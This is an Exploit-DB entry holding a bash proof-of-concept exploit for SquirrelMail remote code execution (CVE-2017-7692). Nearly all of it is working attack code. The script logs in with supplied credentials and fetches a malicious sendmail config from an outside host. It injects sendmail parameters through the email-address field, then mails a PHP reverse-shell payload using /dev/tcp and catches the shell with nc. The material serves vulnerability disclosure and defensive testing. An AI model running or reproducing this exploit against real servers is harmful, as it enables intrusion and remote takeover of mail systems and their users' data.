EDB-ID: 41910 | Author: Dawid Golunski | Published: 2017-04-23 | CVE: CVE-2017-7692 | Type: Remote | Platform: Linux | Aliases: SquirrelMail_RCE_exploit.sh | Tags: N/A | Vulnerable App: N/A | #
int='\033[94m
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/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/
SquirrelMail <= 1.4.22 Remote Code Execution PoC Exploit (CVE-2017-7692)
SquirrelMail_RCE_exploit.sh (ver. 1.0)
Discovered and coded by
Dawid Golunski (@dawid_golunski)
https://legalhackers.com
ExploitBox project:
https://ExploitBox.io
\033[0m'
# Quick and messy PoC for SquirrelMail webmail application.
# It contains payloads for 2 vectors:
# * File Write
# * RCE
# It requires user credentials and that SquirrelMail uses
# Sendmail method as email delivery transport
#
#
# Full advisory URL:
# https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html
# Exploit URL:
# https://legalhackers.com/exploits/CVE-2017-7692/SquirrelMail_RCE_exploit.sh
#
# Tested on: # Ubuntu 16.04
# squirrelmail package version:
# 2:1.4.23~svn20120406-2ubuntu1.16.04.1
#
# Disclaimer:
# For testing purposes only
#
#
# -----------------------------------------------------------------
#
# Interested in vulns/exploitation?
# Stay tuned for my new project - ExploitBox
#
# .;lc'
# .,cdkkOOOko;.
# .,lxxkkkkOOOO000Ol'
# .':oxxxxxkkkkOOOO0000KK0x:'
# .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;.
# ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl.
# '';ldxxxxxdc,. ,oOXXXNNNXd;,.
# .ddc;,,:c;. ,c: .cxxc:;:ox:
# .dxxxxo, ., ,kMMM0:. ., .lxxxxx:
# .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx:
# .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx:
# .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx:
# .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx:
# .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx:
# .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx:
# .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx:
# .dxxxxxdl;. ., .. .;cdxxxxxx:
# .dxxxxxxxxxdc,. 'cdkkxxxxxxxx:
# .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,.
# .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:.
# .':oxxxxxxxxx.ckkkkkkkkxl,.
# .,cdxxxxx.ckkkkkxc.
# .':odx.ckxl,.
# .,.'.
#
# https://ExploitBox.io
#
# https://twitter.com/Exploit_Box
#
# -----------------------------------------------------------------
sqspool="/var/spool/squirrelmail/attach/"
echo -e "$int"
#echo -e "\033[94m \nSquirrelMail - Remote Code Execution PoC Exploit (CVE-2017-7692) \n"
#echo -e "SquirrelMail_RCE_exploit.sh (ver. 1.0)\n"
#echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m\n\n"
# Base URL
if [ $# -ne 1 ]; then
echo -e "Usage: \n$0 SquirrelMail_URL"
echo -e "Example: \n$0 http://target/squirrelmail/ \n"
exit 2
fi
URL="$1"
# Log in
echo -e "\n[*] Enter SquirrelMail user credentials"
read -p "user: " squser
read -sp "pass: " sqpass
echo -e "\n\n[*] Logging in to SquirrelMail at $URL"
curl -s -D /tmp/sqdata -d"login_username=$squser&secretkey=$sqpass&js_autodetect_results=1&just_logged_in=1" $URL/src/redirect.php | grep -q incorrect
if [ $? -eq 0 ]; then
echo "Invalid creds"
exit 2
fi
sessid="`cat /tmp/sqdata | grep SQMSESS | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
keyid="`cat /tmp/sqdata | grep key | tail -n1 | cut -d'=' -f2 | cut -d';' -f1`"
# Prepare Sendmail cnf
#
# * The config will launch php via the following stanza:
#
# Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
# T=DNS/RFC822/X-Unix,
# A=php -- $u $h ${client_addr}
#
wget -q -O/tmp/smcnf-exp https://legalhackers.com/exploits/sendmail-exploit.cf
# Upload config
echo -e "\n\n[*] Uploading Sendmail config"
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/compose.php?mailbox=INBOX&startMessage=1" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
attachid="`curl -H "Expect:" -s -b"SQMSESSID=$sessid; key=$keyid" -F"smtoken=$token" -F"send_to=$mail" -F"subject=attach" -F"body=test" -F"attachfile=@/tmp/smcnf-exp" -F"username=$squser" -F"attach=Add" $URL/src/compose.php | awk -F's:32' '{print $2}' | awk -F'"' '{print $2}' | tr -d '\n'`"
if [ ${#attachid} -lt 32 ]; then
echo "Something went wrong. Failed to upload the sendmail file."
exit 2
fi
# Create Sendmail cmd string according to selected payload
echo -e "\n\n[?] Select payload\n"
# SELECT PAYLOAD
echo "1 - File write (into /tmp/sqpoc)"
echo "2 - Remote Code Execution (with the uploaded smcnf-exp + phpsh)"
echo
read -p "[1-2] " pchoice
case $pchoice in
1) payload="$squser@localhost -oQ/tmp/ -X/tmp/sqpoc"
;;
2) payload="$squser@localhost -oQ/tmp/ -C$sqspool/$attachid"
;;
esac
if [ $pchoice -eq 2 ]; then
echo
read -p "Reverese shell IP: " reverse_ip
read -p "Reverese shell PORT: " reverse_port
fi
# Reverse shell code
phprevsh="
<?php
\$cmd = \"/bin/bash -c 'bash -i >/dev/tcp/$reverse_ip/$reverse_port 0<&1 2>&1 & '\";
file_put_contents(\"/tmp/cmd\", 'export PATH=\"\$PATH\" ; export TERM=vt100 ;' . \$cmd);
system(\"/bin/bash /tmp/cmd ; rm -f /tmp/cmd\");
?>"
# Set sendmail params in user settings
echo -e "\n[*] Injecting Sendmail command parameters"
token="`curl -s -b"SQMSESSID=$sessid; key=$keyid" "$URL/src/options.php?optpage=personal" | grep smtoken | awk -F'value="' '{print $2}' | cut -d'"' -f1 `"
curl -s -b"SQMSESSID=$sessid; key=$keyid" -d "smtoken=$token&optpage=personal&optmode=submit&submit_personal=Submit" --data-urlencode "new_email_address=$payload" "$URL/src/options.php?optpage=personal" | grep -q 'Success' 2>/dev/null
if [ $? -ne 0 ]; then
echo "Failed to inject sendmail parameters"
exit 2
fi
# Send email which triggers the RCE vuln and runs phprevsh
echo -e "\n[*] Sending the email to trigger the vuln"
(sleep 2s && curl -s -D/tmp/sheaders -b"SQMSESSID=$sessid; key=$keyid" -d"smtoken=$token" -d"startMessage=1" -d"session=0" \
-d"send_to=$squser@localhost" -d"subject=poc" --data-urlencode "body=$phprevsh" -d"send=Send" -d"username=$squser" $URL/src/compose.php) &
if [ $pchoice -eq 2 ]; then
echo -e "\n[*] Waiting for shell on $reverse_ip port $reverse_port"
nc -vv -l -p $reverse_port
else
echo -e "\n[*] The test file should have been written at /tmp/sqpoc"
fi
grep -q "302 Found" /tmp/sheaders
if [ $? -eq 1 ]; then
echo "There was a problem with sending email"
exit 2
fi
# Done
echo -e "\n[*] All done. Exiting"